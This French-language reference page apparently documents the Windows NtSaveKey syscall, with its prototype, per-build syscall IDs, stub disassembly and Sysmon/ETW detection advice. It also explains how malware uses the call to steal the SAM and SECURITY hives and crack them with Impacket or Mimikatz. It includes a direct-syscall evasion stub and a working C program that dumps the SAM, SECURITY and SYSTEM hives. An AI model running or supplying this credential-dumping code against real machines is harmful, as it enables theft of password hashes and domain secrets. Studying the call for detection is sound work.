NtSaveKey
Écrit une clé de registre vivante (avec sous-arbre) dans un fichier ruche — la face noyau du vol SAM/SECURITY.
Prototype
NTSTATUS NtSaveKey( HANDLE KeyHandle, HANDLE FileHandle );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| KeyHandle | HANDLE | in | Handle ouvert vers la clé source (doit avoir KEY_QUERY_VALUE ; tout le sous-arbre est capturé). |
| FileHandle | HANDLE | in | Handle ouvert vers le fichier destination (ouvert en GENERIC_WRITE sur un fichier vide/nouveau). |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x167 | win10-1507 |
| Win10 1607 | 0x16F | win10-1607 |
| Win10 1703 | 0x175 | win10-1703 |
| Win10 1709 | 0x178 | win10-1709 |
| Win10 1803 | 0x17A | win10-1803 |
| Win10 1809 | 0x17B | win10-1809 |
| Win10 1903 | 0x17C | win10-1903 |
| Win10 1909 | 0x17C | win10-1909 |
| Win10 2004 | 0x182 | win10-2004 |
| Win10 20H2 | 0x182 | win10-20h2 |
| Win10 21H1 | 0x182 | win10-21h1 |
| Win10 21H2 | 0x184 | win10-21h2 |
| Win10 22H2 | 0x184 | win10-22h2 |
| Win11 21H2 | 0x18C | win11-21h2 |
| Win11 22H2 | 0x18F | win11-22h2 |
| Win11 23H2 | 0x18F | win11-23h2 |
| Win11 24H2 | 0x191 | win11-24h2 |
| Server 2016 | 0x16F | winserver-2016 |
| Server 2019 | 0x17B | winserver-2019 |
| Server 2022 | 0x18A | winserver-2022 |
| Server 2025 | 0x191 | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 91 01 00 00 mov eax, 0x191 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
NtSaveKey sérialise une clé de registre vivante et tout son sous-arbre vers un fichier au format ruche. Le fichier produit est une *ruche de première classe* : compatible octet à octet avec les fichiers SAM, SYSTEM, SECURITY sur disque. L'appelant doit détenir **SeBackupPrivilege**. NtSaveKey est l'original ; `NtSaveKeyEx` ajoute un paramètre flags (`REG_STANDARD_FORMAT` vs `REG_LATEST_FORMAT`). Le wrapper Win32 est `RegSaveKeyW` / `RegSaveKeyExW`.
Usage courant par les malwares
C'est le **chemin canonique sans VSS pour voler les ruches SAM et SECURITY en live** : ouvrir `HKLM\SAM` et `HKLM\SECURITY` (qui requièrent un accès SYSTEM ou de l'impersonation), puis NtSaveKey vers un emplacement inscriptible. Les fichiers résultants sont ensuite passés à `secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL` (Impacket) ou à Mimikatz `lsadump::sam` pour récupérer hashes NTLM, master keys DPAPI, credentials de domaine en cache, et secrets LSA — *sans* avoir à créer de Volume Shadow Copy (très surveillé). La commande `reg.py save` d'Impacket est précisément cette primitive exposée via RemoteRegistry/SMB. SeBackupPrivilege lui-même est le bypass — il outrepasse les DACL en lecture, rendant lisibles même les clés explicitement refusées au groupe Administrateurs local.
Opportunités de détection
Sysmon Event 11 (FileCreate) sur des fichiers au format ruche hors de `%SystemRoot%\System32\config\` est le signal le plus fiable — combiné aux Events 13 / 12 sur l'ouverture de `HKLM\SAM` ou `HKLM\SECURITY` juste avant. L'ETW `Microsoft-Windows-Kernel-Registry` émet des événements save-hive explicites incluant clé source et chemin destination. L'ajustement de SeBackupPrivilege (Sysmon 4673 avec `SeBackupPrivilege` dans la liste) par un processus non-backup est à fort signal. Détecter `reg.exe save HKLM\SAM` et les équivalents PowerShell, et guetter toute écriture par processus SYSTEM d'un en-tête magique de ruche (`regf`) hors des répertoires config.
Exemples de syscalls directs
asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtSaveKey (SSN 0x191 on Win11 24H2 — drifts per build)
NtSaveKey PROC
mov r10, rcx ; KeyHandle
mov eax, 191h ; SSN
syscall
ret
NtSaveKey ENDPcLive SAM/SECURITY extraction skeleton
// Dump SAM and SECURITY hives without touching Volume Shadow Copy.
// Requires SYSTEM context AND SeBackupPrivilege enabled.
#include <windows.h>
static BOOL EnableBackupPriv(void) {
HANDLE tok; TOKEN_PRIVILEGES tp = {0};
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &tok)) return FALSE;
LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(tok, FALSE, &tp, 0, NULL, NULL)
&& GetLastError() == ERROR_SUCCESS;
CloseHandle(tok);
return ok;
}
LONG DumpHive(LPCWSTR root, LPCWSTR outPath) {
HKEY hKey = NULL;
LONG s = RegOpenKeyExW(HKEY_LOCAL_MACHINE, root,
REG_OPTION_BACKUP_RESTORE, KEY_READ, &hKey);
if (s != ERROR_SUCCESS) return s;
DeleteFileW(outPath);
s = RegSaveKeyExW(hKey, outPath, NULL, REG_LATEST_FORMAT);
RegCloseKey(hKey);
return s;
}
int wmain(void) {
if (!EnableBackupPriv()) return 1;
DumpHive(L"SAM", L"C:\\stage\\SAM.hiv");
DumpHive(L"SECURITY", L"C:\\stage\\SECURITY.hiv");
DumpHive(L"SYSTEM", L"C:\\stage\\SYSTEM.hiv");
return 0;
}rustDirect NtSaveKey via ntapi
// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["winnt", "handleapi"] }
use ntapi::ntregapi::NtSaveKey;
use winapi::shared::ntdef::{HANDLE, NTSTATUS};
unsafe fn save_hive(key: HANDLE, file: HANDLE) -> NTSTATUS {
// Caller is expected to have already enabled SeBackupPrivilege
// and opened `key` with KEY_QUERY_VALUE and `file` with GENERIC_WRITE.
NtSaveKey(key, file)
}Mappings MITRE ATT&CK
Last verified: 2026-05-20